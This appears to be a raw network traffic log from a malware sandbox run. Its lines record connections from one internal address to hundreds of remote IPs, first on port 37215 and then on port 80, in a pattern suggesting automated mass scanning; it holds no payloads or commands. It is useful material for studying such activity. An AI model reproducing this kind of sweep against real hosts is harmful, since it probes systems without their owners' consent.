Dec 3, 2024 23:01:46.659642935 CET	59534	37215	192.168.2.23	156.87.206.134
Dec 3, 2024 23:01:46.659642935 CET	59534	37215	192.168.2.23	156.147.16.84
Dec 3, 2024 23:01:46.659642935 CET	59534	37215	192.168.2.23	156.129.136.253
Dec 3, 2024 23:01:46.659643888 CET	59534	37215	192.168.2.23	197.178.246.96
Dec 3, 2024 23:01:46.659642935 CET	59534	37215	192.168.2.23	197.157.3.2
Dec 3, 2024 23:01:46.659643888 CET	59534	37215	192.168.2.23	41.181.91.112
Dec 3, 2024 23:01:46.659642935 CET	59534	37215	192.168.2.23	41.184.157.23
Dec 3, 2024 23:01:46.659643888 CET	59534	37215	192.168.2.23	41.205.244.238
Dec 3, 2024 23:01:46.659643888 CET	59534	37215	192.168.2.23	156.13.210.76
Dec 3, 2024 23:01:46.659646988 CET	59534	37215	192.168.2.23	41.225.114.80
Dec 3, 2024 23:01:46.659643888 CET	59534	37215	192.168.2.23	156.109.197.248
Dec 3, 2024 23:01:46.659646988 CET	59534	37215	192.168.2.23	156.199.89.201
Dec 3, 2024 23:01:46.659646988 CET	59534	37215	192.168.2.23	156.246.104.45
Dec 3, 2024 23:01:46.659646988 CET	59534	37215	192.168.2.23	156.134.245.89
Dec 3, 2024 23:01:46.659646988 CET	59534	37215	192.168.2.23	41.46.114.228
Dec 3, 2024 23:01:46.659647942 CET	59534	37215	192.168.2.23	156.75.162.116
Dec 3, 2024 23:01:46.659647942 CET	59534	37215	192.168.2.23	156.189.25.148
Dec 3, 2024 23:01:46.659647942 CET	59534	37215	192.168.2.23	197.247.27.151
Dec 3, 2024 23:01:46.659655094 CET	59534	37215	192.168.2.23	41.1.177.192
Dec 3, 2024 23:01:46.659655094 CET	59534	37215	192.168.2.23	41.117.171.147
Dec 3, 2024 23:01:46.659655094 CET	59534	37215	192.168.2.23	156.180.154.102
Dec 3, 2024 23:01:46.659655094 CET	59534	37215	192.168.2.23	41.230.85.19
Dec 3, 2024 23:01:46.659656048 CET	59534	37215	192.168.2.23	156.238.95.131
Dec 3, 2024 23:01:46.659656048 CET	59534	37215	192.168.2.23	156.111.38.140
Dec 3, 2024 23:01:46.659656048 CET	59534	37215	192.168.2.23	156.12.206.128
Dec 3, 2024 23:01:46.659656048 CET	59534	37215	192.168.2.23	197.205.117.240
Dec 3, 2024 23:01:46.659656048 CET	59534	37215	192.168.2.23	156.167.129.110
Dec 3, 2024 23:01:46.659657955 CET	59534	37215	192.168.2.23	197.100.42.192
Dec 3, 2024 23:01:46.659657955 CET	59534	37215	192.168.2.23	156.53.110.219
Dec 3, 2024 23:01:46.659657955 CET	59534	37215	192.168.2.23	156.19.60.63
Dec 3, 2024 23:01:46.659657955 CET	59534	37215	192.168.2.23	41.221.106.0
Dec 3, 2024 23:01:46.659657955 CET	59534	37215	192.168.2.23	197.78.98.106
Dec 3, 2024 23:01:46.659660101 CET	59534	37215	192.168.2.23	41.103.200.104
Dec 3, 2024 23:01:46.659657955 CET	59534	37215	192.168.2.23	197.168.77.15
Dec 3, 2024 23:01:46.659660101 CET	59534	37215	192.168.2.23	197.136.76.130
Dec 3, 2024 23:01:46.659657955 CET	59534	37215	192.168.2.23	197.191.62.167
Dec 3, 2024 23:01:46.659667969 CET	59534	37215	192.168.2.23	156.103.251.127
Dec 3, 2024 23:01:46.659667969 CET	59534	37215	192.168.2.23	41.133.249.77
Dec 3, 2024 23:01:46.659668922 CET	59534	37215	192.168.2.23	197.198.251.35
Dec 3, 2024 23:01:46.659668922 CET	59534	37215	192.168.2.23	156.236.152.107
Dec 3, 2024 23:01:46.659671068 CET	59534	37215	192.168.2.23	41.60.90.119
Dec 3, 2024 23:01:46.659671068 CET	59534	37215	192.168.2.23	41.167.230.98
Dec 3, 2024 23:01:46.659672022 CET	59534	37215	192.168.2.23	197.40.40.134
Dec 3, 2024 23:01:46.659672022 CET	59534	37215	192.168.2.23	197.165.33.108
Dec 3, 2024 23:01:46.659672022 CET	59534	37215	192.168.2.23	156.52.142.105
Dec 3, 2024 23:01:46.659674883 CET	59534	37215	192.168.2.23	41.11.160.153
Dec 3, 2024 23:01:46.659674883 CET	59534	37215	192.168.2.23	197.236.253.15
Dec 3, 2024 23:01:46.659674883 CET	59534	37215	192.168.2.23	41.188.243.241
Dec 3, 2024 23:01:46.659674883 CET	59534	37215	192.168.2.23	156.56.126.130
Dec 3, 2024 23:01:46.659674883 CET	59534	37215	192.168.2.23	41.231.200.250
Dec 3, 2024 23:01:46.659674883 CET	59534	37215	192.168.2.23	197.174.175.225
Dec 3, 2024 23:01:46.659681082 CET	59534	37215	192.168.2.23	41.48.220.202
Dec 3, 2024 23:01:46.659686089 CET	59534	37215	192.168.2.23	197.0.124.136
Dec 3, 2024 23:01:46.659687996 CET	59534	37215	192.168.2.23	156.198.108.192
Dec 3, 2024 23:01:46.659687996 CET	59534	37215	192.168.2.23	197.63.99.41
Dec 3, 2024 23:01:46.659689903 CET	59534	37215	192.168.2.23	41.200.11.252
Dec 3, 2024 23:01:46.659692049 CET	59534	37215	192.168.2.23	156.44.71.102
Dec 3, 2024 23:01:46.659692049 CET	59534	37215	192.168.2.23	156.120.20.10
Dec 3, 2024 23:01:46.659692049 CET	59534	37215	192.168.2.23	197.235.255.180
Dec 3, 2024 23:01:46.659704924 CET	59534	37215	192.168.2.23	197.158.219.211
Dec 3, 2024 23:01:46.659704924 CET	59534	37215	192.168.2.23	197.115.234.253
Dec 3, 2024 23:01:46.659704924 CET	59534	37215	192.168.2.23	41.60.8.93
Dec 3, 2024 23:01:46.659706116 CET	59534	37215	192.168.2.23	41.17.182.157
Dec 3, 2024 23:01:46.659706116 CET	59534	37215	192.168.2.23	197.89.189.196
Dec 3, 2024 23:01:46.659706116 CET	59534	37215	192.168.2.23	197.169.71.127
Dec 3, 2024 23:01:46.659706116 CET	59534	37215	192.168.2.23	41.201.183.220
Dec 3, 2024 23:01:46.659706116 CET	59534	37215	192.168.2.23	156.91.151.51
Dec 3, 2024 23:01:46.659706116 CET	59534	37215	192.168.2.23	156.56.221.67
Dec 3, 2024 23:01:46.659706116 CET	59534	37215	192.168.2.23	197.41.93.73
Dec 3, 2024 23:01:46.659715891 CET	59534	37215	192.168.2.23	41.222.217.86
Dec 3, 2024 23:01:46.659717083 CET	59534	37215	192.168.2.23	197.84.88.154
Dec 3, 2024 23:01:46.659717083 CET	59534	37215	192.168.2.23	156.209.113.8
Dec 3, 2024 23:01:46.659718037 CET	59534	37215	192.168.2.23	156.147.53.81
Dec 3, 2024 23:01:46.659718037 CET	59534	37215	192.168.2.23	156.181.173.113
Dec 3, 2024 23:01:46.659722090 CET	59534	37215	192.168.2.23	41.37.41.85
Dec 3, 2024 23:01:46.659722090 CET	59534	37215	192.168.2.23	156.142.108.62
Dec 3, 2024 23:01:46.659729004 CET	59534	37215	192.168.2.23	197.8.193.8
Dec 3, 2024 23:01:46.659729004 CET	59534	37215	192.168.2.23	156.175.26.89
Dec 3, 2024 23:01:46.659729004 CET	59534	37215	192.168.2.23	156.199.64.122
Dec 3, 2024 23:01:46.659729004 CET	59534	37215	192.168.2.23	41.40.64.76
Dec 3, 2024 23:01:46.659729004 CET	59534	37215	192.168.2.23	197.251.123.40
Dec 3, 2024 23:01:46.659729958 CET	59534	37215	192.168.2.23	156.213.70.71
Dec 3, 2024 23:01:46.659729004 CET	59534	37215	192.168.2.23	197.27.26.95
Dec 3, 2024 23:01:46.659733057 CET	59534	37215	192.168.2.23	41.198.135.77
Dec 3, 2024 23:01:46.659733057 CET	59534	37215	192.168.2.23	156.243.140.31
Dec 3, 2024 23:01:46.659733057 CET	59534	37215	192.168.2.23	156.166.198.237
Dec 3, 2024 23:01:46.659745932 CET	59534	37215	192.168.2.23	197.130.198.187
Dec 3, 2024 23:01:46.659746885 CET	59534	37215	192.168.2.23	197.248.248.91
Dec 3, 2024 23:01:46.659746885 CET	59534	37215	192.168.2.23	156.7.254.133
Dec 3, 2024 23:01:46.659749985 CET	59534	37215	192.168.2.23	41.185.218.248
Dec 3, 2024 23:01:46.659749985 CET	59534	37215	192.168.2.23	41.215.31.18
Dec 3, 2024 23:01:46.659749985 CET	59534	37215	192.168.2.23	41.77.199.49
Dec 3, 2024 23:01:46.659749985 CET	59534	37215	192.168.2.23	156.48.179.124
Dec 3, 2024 23:01:46.659749985 CET	59534	37215	192.168.2.23	156.147.55.44
Dec 3, 2024 23:01:46.659749985 CET	59534	37215	192.168.2.23	156.221.145.224
Dec 3, 2024 23:01:46.659755945 CET	59534	37215	192.168.2.23	197.19.250.246
Dec 3, 2024 23:01:46.659755945 CET	59534	37215	192.168.2.23	197.31.84.227
Dec 3, 2024 23:01:46.659758091 CET	59534	37215	192.168.2.23	197.90.120.34
Dec 3, 2024 23:01:46.659764051 CET	59534	37215	192.168.2.23	197.177.56.26
Dec 3, 2024 23:01:46.659764051 CET	59534	37215	192.168.2.23	197.116.228.65
Dec 3, 2024 23:01:46.659765959 CET	59534	37215	192.168.2.23	197.135.49.205
Dec 3, 2024 23:01:46.659765959 CET	59534	37215	192.168.2.23	197.218.175.171
Dec 3, 2024 23:01:46.659768105 CET	59534	37215	192.168.2.23	197.122.128.46
Dec 3, 2024 23:01:46.659768105 CET	59534	37215	192.168.2.23	41.15.115.212
Dec 3, 2024 23:01:46.659769058 CET	59534	37215	192.168.2.23	197.183.37.0
Dec 3, 2024 23:01:46.659769058 CET	59534	37215	192.168.2.23	197.151.148.225
Dec 3, 2024 23:01:46.659773111 CET	59534	37215	192.168.2.23	197.162.28.108
Dec 3, 2024 23:01:46.659780979 CET	59534	37215	192.168.2.23	156.220.11.57
Dec 3, 2024 23:01:46.659780979 CET	59534	37215	192.168.2.23	197.72.139.222
Dec 3, 2024 23:01:46.659784079 CET	59534	37215	192.168.2.23	156.227.135.150
Dec 3, 2024 23:01:46.659784079 CET	59534	37215	192.168.2.23	41.52.142.152
Dec 3, 2024 23:01:46.659785986 CET	59534	37215	192.168.2.23	197.129.72.206
Dec 3, 2024 23:01:46.659790039 CET	59534	37215	192.168.2.23	197.254.172.203
Dec 3, 2024 23:01:46.659791946 CET	59534	37215	192.168.2.23	156.69.211.98
Dec 3, 2024 23:01:46.659795046 CET	59534	37215	192.168.2.23	41.44.188.211
Dec 3, 2024 23:01:46.659796000 CET	59534	37215	192.168.2.23	197.163.115.35
Dec 3, 2024 23:01:46.659804106 CET	59534	37215	192.168.2.23	41.58.79.194
Dec 3, 2024 23:01:46.659804106 CET	59534	37215	192.168.2.23	41.4.223.118
Dec 3, 2024 23:01:46.659806013 CET	59534	37215	192.168.2.23	156.175.139.219
Dec 3, 2024 23:01:46.659806967 CET	59534	37215	192.168.2.23	197.144.215.234
Dec 3, 2024 23:01:46.659806967 CET	59534	37215	192.168.2.23	197.253.74.165
Dec 3, 2024 23:01:46.659806967 CET	59534	37215	192.168.2.23	41.192.116.225
Dec 3, 2024 23:01:46.659809113 CET	59534	37215	192.168.2.23	41.97.110.197
Dec 3, 2024 23:01:46.659810066 CET	59534	37215	192.168.2.23	41.254.188.21
Dec 3, 2024 23:01:46.659810066 CET	59534	37215	192.168.2.23	41.235.173.163
Dec 3, 2024 23:01:46.659810066 CET	59534	37215	192.168.2.23	41.240.68.217
Dec 3, 2024 23:01:46.659822941 CET	59534	37215	192.168.2.23	197.6.167.71
Dec 3, 2024 23:01:46.659822941 CET	59534	37215	192.168.2.23	197.82.238.57
Dec 3, 2024 23:01:46.659825087 CET	59534	37215	192.168.2.23	156.24.41.174
Dec 3, 2024 23:01:46.659825087 CET	59534	37215	192.168.2.23	41.35.169.76
Dec 3, 2024 23:01:46.659826994 CET	59534	37215	192.168.2.23	41.28.120.49
Dec 3, 2024 23:01:46.659831047 CET	59534	37215	192.168.2.23	197.51.59.239
Dec 3, 2024 23:01:46.659832001 CET	59534	37215	192.168.2.23	156.58.16.110
Dec 3, 2024 23:01:46.659831047 CET	59534	37215	192.168.2.23	197.124.77.1
Dec 3, 2024 23:01:46.659831047 CET	59534	37215	192.168.2.23	156.249.144.62
Dec 3, 2024 23:01:46.659837008 CET	59534	37215	192.168.2.23	41.62.30.226
Dec 3, 2024 23:01:46.659838915 CET	59534	37215	192.168.2.23	197.152.44.135
Dec 3, 2024 23:01:46.668102980 CET	60046	80	192.168.2.23	143.158.148.33
Dec 3, 2024 23:01:46.668103933 CET	60046	80	192.168.2.23	59.81.60.243
Dec 3, 2024 23:01:46.668104887 CET	60046	80	192.168.2.23	71.75.121.175
Dec 3, 2024 23:01:46.668112993 CET	60046	80	192.168.2.23	23.214.109.189
Dec 3, 2024 23:01:46.668114901 CET	60046	80	192.168.2.23	68.173.44.18
Dec 3, 2024 23:01:46.668114901 CET	60046	80	192.168.2.23	117.99.211.32
Dec 3, 2024 23:01:46.668118000 CET	60046	80	192.168.2.23	107.30.225.139
Dec 3, 2024 23:01:46.668118000 CET	60046	80	192.168.2.23	159.155.16.134
Dec 3, 2024 23:01:46.668118000 CET	60046	80	192.168.2.23	202.254.233.231
Dec 3, 2024 23:01:46.668122053 CET	60046	80	192.168.2.23	132.28.248.69
Dec 3, 2024 23:01:46.668122053 CET	60046	80	192.168.2.23	52.80.9.34
Dec 3, 2024 23:01:46.668122053 CET	60046	80	192.168.2.23	213.0.158.98
Dec 3, 2024 23:01:46.668123960 CET	60046	80	192.168.2.23	191.186.248.0
Dec 3, 2024 23:01:46.668126106 CET	60046	80	192.168.2.23	195.252.27.21
Dec 3, 2024 23:01:46.668127060 CET	60046	80	192.168.2.23	81.202.133.102
Dec 3, 2024 23:01:46.668131113 CET	60046	80	192.168.2.23	142.235.93.165
Dec 3, 2024 23:01:46.668131113 CET	60046	80	192.168.2.23	61.67.132.219
Dec 3, 2024 23:01:46.668132067 CET	60046	80	192.168.2.23	198.118.71.27
Dec 3, 2024 23:01:46.668144941 CET	60046	80	192.168.2.23	217.3.193.197
Dec 3, 2024 23:01:46.668144941 CET	60046	80	192.168.2.23	220.83.213.106
Dec 3, 2024 23:01:46.668144941 CET	60046	80	192.168.2.23	180.2.111.102
Dec 3, 2024 23:01:46.668160915 CET	60046	80	192.168.2.23	133.152.163.78
Dec 3, 2024 23:01:46.668159962 CET	60046	80	192.168.2.23	75.204.55.160
Dec 3, 2024 23:01:46.668164015 CET	60046	80	192.168.2.23	95.240.185.34
Dec 3, 2024 23:01:46.668164015 CET	60046	80	192.168.2.23	53.34.128.133
Dec 3, 2024 23:01:46.668180943 CET	60046	80	192.168.2.23	172.239.175.73
Dec 3, 2024 23:01:46.668180943 CET	60046	80	192.168.2.23	96.236.60.37
Dec 3, 2024 23:01:46.668181896 CET	60046	80	192.168.2.23	51.35.51.217
Dec 3, 2024 23:01:46.668188095 CET	60046	80	192.168.2.23	61.217.120.93
Dec 3, 2024 23:01:46.668190002 CET	60046	80	192.168.2.23	88.197.97.177
Dec 3, 2024 23:01:46.668200016 CET	60046	80	192.168.2.23	140.33.200.51
Dec 3, 2024 23:01:46.668200970 CET	60046	80	192.168.2.23	197.125.173.154
Dec 3, 2024 23:01:46.668205023 CET	60046	80	192.168.2.23	1.249.170.4
Dec 3, 2024 23:01:46.668210030 CET	60046	80	192.168.2.23	182.167.133.97
Dec 3, 2024 23:01:46.668216944 CET	60046	80	192.168.2.23	166.237.139.77
Dec 3, 2024 23:01:46.668226957 CET	60046	80	192.168.2.23	17.157.110.200
Dec 3, 2024 23:01:46.668230057 CET	60046	80	192.168.2.23	24.139.29.229
Dec 3, 2024 23:01:46.668230057 CET	60046	80	192.168.2.23	13.75.239.148
Dec 3, 2024 23:01:46.668230057 CET	60046	80	192.168.2.23	218.145.132.39
Dec 3, 2024 23:01:46.668237925 CET	60046	80	192.168.2.23	117.109.102.79
Dec 3, 2024 23:01:46.668241024 CET	60046	80	192.168.2.23	88.118.21.120
Dec 3, 2024 23:01:46.668262005 CET	60046	80	192.168.2.23	73.125.194.146
Dec 3, 2024 23:01:46.668262005 CET	60046	80	192.168.2.23	103.139.156.100
Dec 3, 2024 23:01:46.668265104 CET	60046	80	192.168.2.23	197.76.41.158
Dec 3, 2024 23:01:46.668265104 CET	60046	80	192.168.2.23	139.95.74.62
Dec 3, 2024 23:01:46.668267965 CET	60046	80	192.168.2.23	162.130.97.232
Dec 3, 2024 23:01:46.668267965 CET	60046	80	192.168.2.23	102.195.61.186
Dec 3, 2024 23:01:46.668270111 CET	60046	80	192.168.2.23	134.36.215.7
Dec 3, 2024 23:01:46.668277025 CET	60046	80	192.168.2.23	154.152.219.150
Dec 3, 2024 23:01:46.668277025 CET	60046	80	192.168.2.23	17.107.38.252
Dec 3, 2024 23:01:46.668277025 CET	60046	80	192.168.2.23	92.161.121.109
Dec 3, 2024 23:01:46.668277025 CET	60046	80	192.168.2.23	208.81.251.197
Dec 3, 2024 23:01:46.668281078 CET	60046	80	192.168.2.23	152.191.57.71
Dec 3, 2024 23:01:46.668282986 CET	60046	80	192.168.2.23	80.125.145.175
Dec 3, 2024 23:01:46.668282986 CET	60046	80	192.168.2.23	151.64.146.213
Dec 3, 2024 23:01:46.668287039 CET	60046	80	192.168.2.23	108.51.49.48
Dec 3, 2024 23:01:46.668288946 CET	60046	80	192.168.2.23	84.254.32.136
Dec 3, 2024 23:01:46.668299913 CET	60046	80	192.168.2.23	122.127.67.184
Dec 3, 2024 23:01:46.668301105 CET	60046	80	192.168.2.23	169.113.110.98
Dec 3, 2024 23:01:46.668303967 CET	60046	80	192.168.2.23	171.81.42.68
Dec 3, 2024 23:01:46.668312073 CET	60046	80	192.168.2.23	218.88.151.98
Dec 3, 2024 23:01:46.668312073 CET	60046	80	192.168.2.23	182.129.18.126
Dec 3, 2024 23:01:46.668318033 CET	60046	80	192.168.2.23	116.169.57.229
Dec 3, 2024 23:01:46.668318033 CET	60046	80	192.168.2.23	94.134.188.228
Dec 3, 2024 23:01:46.668320894 CET	60046	80	192.168.2.23	138.169.207.114
Dec 3, 2024 23:01:46.668323994 CET	60046	80	192.168.2.23	102.145.121.137
Dec 3, 2024 23:01:46.668333054 CET	60046	80	192.168.2.23	65.188.35.202
Dec 3, 2024 23:01:46.668334007 CET	60046	80	192.168.2.23	78.37.146.189
Dec 3, 2024 23:01:46.668339014 CET	60046	80	192.168.2.23	166.250.100.209
Dec 3, 2024 23:01:46.668345928 CET	60046	80	192.168.2.23	70.101.74.46
Dec 3, 2024 23:01:46.668345928 CET	60046	80	192.168.2.23	131.101.145.74
Dec 3, 2024 23:01:46.668355942 CET	60046	80	192.168.2.23	91.149.9.12
Dec 3, 2024 23:01:46.668356895 CET	60046	80	192.168.2.23	78.208.148.152
Dec 3, 2024 23:01:46.668369055 CET	60046	80	192.168.2.23	184.26.78.83
Dec 3, 2024 23:01:46.668370962 CET	60046	80	192.168.2.23	169.51.5.191
Dec 3, 2024 23:01:46.668375015 CET	60046	80	192.168.2.23	212.206.125.12
Dec 3, 2024 23:01:46.668375969 CET	60046	80	192.168.2.23	103.244.153.119
Dec 3, 2024 23:01:46.668378115 CET	60046	80	192.168.2.23	59.156.244.119
Dec 3, 2024 23:01:46.668378115 CET	60046	80	192.168.2.23	199.6.159.150
Dec 3, 2024 23:01:46.668384075 CET	60046	80	192.168.2.23	99.151.128.222
Dec 3, 2024 23:01:46.668387890 CET	60046	80	192.168.2.23	67.144.136.63
Dec 3, 2024 23:01:46.668391943 CET	60046	80	192.168.2.23	180.64.18.109
Dec 3, 2024 23:01:46.668397903 CET	60046	80	192.168.2.23	185.108.65.74
Dec 3, 2024 23:01:46.668401003 CET	60046	80	192.168.2.23	197.92.13.194
Dec 3, 2024 23:01:46.668404102 CET	60046	80	192.168.2.23	173.93.103.27
Dec 3, 2024 23:01:46.668409109 CET	60046	80	192.168.2.23	190.247.53.11
Dec 3, 2024 23:01:46.668423891 CET	60046	80	192.168.2.23	196.1.130.215
Dec 3, 2024 23:01:46.668426037 CET	60046	80	192.168.2.23	105.181.162.84
Dec 3, 2024 23:01:46.668426037 CET	60046	80	192.168.2.23	132.158.229.75
Dec 3, 2024 23:01:46.668438911 CET	60046	80	192.168.2.23	216.254.132.139
Dec 3, 2024 23:01:46.668443918 CET	60046	80	192.168.2.23	60.117.182.17
Dec 3, 2024 23:01:46.668443918 CET	60046	80	192.168.2.23	43.195.150.23
Dec 3, 2024 23:01:46.668443918 CET	60046	80	192.168.2.23	80.246.160.213
Dec 3, 2024 23:01:46.668446064 CET	60046	80	192.168.2.23	122.5.61.197
Dec 3, 2024 23:01:46.668456078 CET	60046	80	192.168.2.23	27.148.192.4
Dec 3, 2024 23:01:46.668462992 CET	60046	80	192.168.2.23	166.114.237.247
Dec 3, 2024 23:01:46.668467999 CET	60046	80	192.168.2.23	25.105.143.55
Dec 3, 2024 23:01:46.668471098 CET	60046	80	192.168.2.23	59.154.174.231
Dec 3, 2024 23:01:46.668474913 CET	60046	80	192.168.2.23	74.175.90.90
Dec 3, 2024 23:01:46.668476105 CET	60046	80	192.168.2.23	92.220.154.230
Dec 3, 2024 23:01:46.668476105 CET	60046	80	192.168.2.23	152.57.88.77
Dec 3, 2024 23:01:46.668490887 CET	60046	80	192.168.2.23	158.231.19.60
Dec 3, 2024 23:01:46.668492079 CET	60046	80	192.168.2.23	111.246.0.205
Dec 3, 2024 23:01:46.668493032 CET	60046	80	192.168.2.23	88.126.43.63
Dec 3, 2024 23:01:46.668493032 CET	60046	80	192.168.2.23	9.176.110.115
Dec 3, 2024 23:01:46.668493032 CET	60046	80	192.168.2.23	220.134.23.255
Dec 3, 2024 23:01:46.668499947 CET	60046	80	192.168.2.23	149.155.59.252
Dec 3, 2024 23:01:46.668504000 CET	60046	80	192.168.2.23	42.70.194.61
Dec 3, 2024 23:01:46.668504000 CET	60046	80	192.168.2.23	45.153.34.123
Dec 3, 2024 23:01:46.668520927 CET	60046	80	192.168.2.23	79.183.117.52
Dec 3, 2024 23:01:46.668521881 CET	60046	80	192.168.2.23	185.157.18.42
Dec 3, 2024 23:01:46.668523073 CET	60046	80	192.168.2.23	196.140.23.43
Dec 3, 2024 23:01:46.668530941 CET	60046	80	192.168.2.23	204.129.124.206
Dec 3, 2024 23:01:46.668535948 CET	60046	80	192.168.2.23	206.59.26.125
Dec 3, 2024 23:01:46.668536901 CET	60046	80	192.168.2.23	38.31.58.111
Dec 3, 2024 23:01:46.668536901 CET	60046	80	192.168.2.23	174.88.39.46
Dec 3, 2024 23:01:46.668541908 CET	60046	80	192.168.2.23	60.51.51.40
Dec 3, 2024 23:01:46.668543100 CET	60046	80	192.168.2.23	70.106.24.198
Dec 3, 2024 23:01:46.668543100 CET	60046	80	192.168.2.23	124.150.14.112
Dec 3, 2024 23:01:46.668556929 CET	60046	80	192.168.2.23	59.55.50.210
Dec 3, 2024 23:01:46.668560982 CET	60046	80	192.168.2.23	155.223.224.134
Dec 3, 2024 23:01:46.668579102 CET	60046	80	192.168.2.23	205.36.52.143
Dec 3, 2024 23:01:46.668579102 CET	60046	80	192.168.2.23	37.0.176.185
Dec 3, 2024 23:01:46.668580055 CET	60046	80	192.168.2.23	65.230.187.9
Dec 3, 2024 23:01:46.668581963 CET	60046	80	192.168.2.23	220.20.159.217
Dec 3, 2024 23:01:46.668581963 CET	60046	80	192.168.2.23	161.165.28.194
Dec 3, 2024 23:01:46.668581963 CET	60046	80	192.168.2.23	162.104.149.43
Dec 3, 2024 23:01:46.668590069 CET	60046	80	192.168.2.23	39.178.240.148
Dec 3, 2024 23:01:46.668591022 CET	60046	80	192.168.2.23	199.133.9.84
Dec 3, 2024 23:01:46.668591022 CET	60046	80	192.168.2.23	74.105.229.206
Dec 3, 2024 23:01:46.668591022 CET	60046	80	192.168.2.23	20.150.64.191
Dec 3, 2024 23:01:46.668591976 CET	60046	80	192.168.2.23	89.104.25.184
Dec 3, 2024 23:01:46.668600082 CET	60046	80	192.168.2.23	141.14.109.166
Dec 3, 2024 23:01:46.668600082 CET	60046	80	192.168.2.23	63.95.34.92
Dec 3, 2024 23:01:46.668601036 CET	60046	80	192.168.2.23	149.34.34.24
Dec 3, 2024 23:01:46.668601990 CET	60046	80	192.168.2.23	39.188.117.140
Dec 3, 2024 23:01:46.668601990 CET	60046	80	192.168.2.23	136.108.126.203
Dec 3, 2024 23:01:46.668608904 CET	60046	80	192.168.2.23	174.232.237.47
Dec 3, 2024 23:01:46.668608904 CET	60046	80	192.168.2.23	52.95.114.18
Dec 3, 2024 23:01:46.668608904 CET	60046	80	192.168.2.23	199.84.163.109
Dec 3, 2024 23:01:46.668610096 CET	60046	80	192.168.2.23	138.69.208.133
Dec 3, 2024 23:01:46.668608904 CET	60046	80	192.168.2.23	222.210.35.228
Dec 3, 2024 23:01:46.668608904 CET	60046	80	192.168.2.23	164.30.184.63
Dec 3, 2024 23:01:46.668616056 CET	60046	80	192.168.2.23	92.89.250.237
Dec 3, 2024 23:01:46.668617010 CET	60046	80	192.168.2.23	111.245.23.236
Dec 3, 2024 23:01:46.668632984 CET	60046	80	192.168.2.23	53.192.212.104
Dec 3, 2024 23:01:46.668632984 CET	60046	80	192.168.2.23	72.119.198.246
Dec 3, 2024 23:01:46.668634892 CET	60046	80	192.168.2.23	94.46.183.220
Dec 3, 2024 23:01:46.668634892 CET	60046	80	192.168.2.23	23.213.38.181
Dec 3, 2024 23:01:46.668648005 CET	60046	80	192.168.2.23	23.140.252.166
Dec 3, 2024 23:01:46.668648005 CET	60046	80	192.168.2.23	222.189.53.195
Dec 3, 2024 23:01:46.668663979 CET	60046	80	192.168.2.23	163.143.1.32
Dec 3, 2024 23:01:46.668664932 CET	60046	80	192.168.2.23	156.202.187.204
Dec 3, 2024 23:01:46.668664932 CET	60046	80	192.168.2.23	42.250.64.132
Dec 3, 2024 23:01:46.668670893 CET	60046	80	192.168.2.23	222.25.2.2
Dec 3, 2024 23:01:46.668675900 CET	60046	80	192.168.2.23	171.102.202.33
Dec 3, 2024 23:01:46.668675900 CET	60046	80	192.168.2.23	144.191.200.145
Dec 3, 2024 23:01:46.668677092 CET	60046	80	192.168.2.23	38.75.167.151
Dec 3, 2024 23:01:46.668677092 CET	60046	80	192.168.2.23	209.152.70.245
Dec 3, 2024 23:01:46.668682098 CET	60046	80	192.168.2.23	194.70.4.77
Dec 3, 2024 23:01:46.668688059 CET	60046	80	192.168.2.23	174.232.152.137
Dec 3, 2024 23:01:46.668689966 CET	60046	80	192.168.2.23	152.115.90.43
Dec 3, 2024 23:01:46.668692112 CET	60046	80	192.168.2.23	99.208.35.131
Dec 3, 2024 23:01:46.668697119 CET	60046	80	192.168.2.23	18.143.116.222
Dec 3, 2024 23:01:46.668697119 CET	60046	80	192.168.2.23	76.254.158.108
Dec 3, 2024 23:01:46.668703079 CET	60046	80	192.168.2.23	163.152.84.33
Dec 3, 2024 23:01:46.668706894 CET	60046	80	192.168.2.23	118.208.0.246
Dec 3, 2024 23:01:46.668706894 CET	60046	80	192.168.2.23	76.25.129.44
Dec 3, 2024 23:01:46.668706894 CET	60046	80	192.168.2.23	137.170.183.222
Dec 3, 2024 23:01:46.668709993 CET	60046	80	192.168.2.23	64.145.9.39
Dec 3, 2024 23:01:46.668713093 CET	60046	80	192.168.2.23	81.100.254.124
Dec 3, 2024 23:01:46.668715000 CET	60046	80	192.168.2.23	34.227.200.108
Dec 3, 2024 23:01:46.668723106 CET	60046	80	192.168.2.23	66.215.237.85
Dec 3, 2024 23:01:46.668723106 CET	60046	80	192.168.2.23	100.164.236.15
Dec 3, 2024 23:01:46.668726921 CET	60046	80	192.168.2.23	71.31.69.127
Dec 3, 2024 23:01:46.668726921 CET	60046	80	192.168.2.23	134.238.82.178
Dec 3, 2024 23:01:46.668728113 CET	60046	80	192.168.2.23	67.31.20.216
Dec 3, 2024 23:01:46.668729067 CET	60046	80	192.168.2.23	174.0.204.134
Dec 3, 2024 23:01:46.668735981 CET	60046	80	192.168.2.23	67.196.219.90
Dec 3, 2024 23:01:46.668742895 CET	60046	80	192.168.2.23	136.119.72.254
Dec 3, 2024 23:01:46.668742895 CET	60046	80	192.168.2.23	82.12.223.156
Dec 3, 2024 23:01:46.668742895 CET	60046	80	192.168.2.23	17.127.162.106
Dec 3, 2024 23:01:46.668760061 CET	60046	80	192.168.2.23	219.73.134.7
Dec 3, 2024 23:01:46.668764114 CET	60046	80	192.168.2.23	67.130.104.121
Dec 3, 2024 23:01:46.668765068 CET	60046	80	192.168.2.23	110.228.18.108
Dec 3, 2024 23:01:46.668764114 CET	60046	80	192.168.2.23	19.121.206.226
Dec 3, 2024 23:01:46.668773890 CET	60046	80	192.168.2.23	77.0.226.179
Dec 3, 2024 23:01:46.668776035 CET	60046	80	192.168.2.23	119.161.29.208
Dec 3, 2024 23:01:46.668776989 CET	60046	80	192.168.2.23	186.131.104.224
Dec 3, 2024 23:01:46.668776989 CET	60046	80	192.168.2.23	199.168.70.107
Dec 3, 2024 23:01:46.668788910 CET	60046	80	192.168.2.23	184.32.92.101
Dec 3, 2024 23:01:46.668790102 CET	60046	80	192.168.2.23	116.127.15.124
Dec 3, 2024 23:01:46.668790102 CET	60046	80	192.168.2.23	35.47.181.197
Dec 3, 2024 23:01:46.668790102 CET	60046	80	192.168.2.23	75.52.0.251
Dec 3, 2024 23:01:46.668790102 CET	60046	80	192.168.2.23	58.250.26.144
Dec 3, 2024 23:01:46.668800116 CET	60046	80	192.168.2.23	179.237.201.58
Dec 3, 2024 23:01:46.668807030 CET	60046	80	192.168.2.23	20.80.163.83
Dec 3, 2024 23:01:46.668807030 CET	60046	80	192.168.2.23	171.203.172.6
Dec 3, 2024 23:01:46.668819904 CET	60046	80	192.168.2.23	177.111.233.212
Dec 3, 2024 23:01:46.668823004 CET	60046	80	192.168.2.23	205.75.135.147
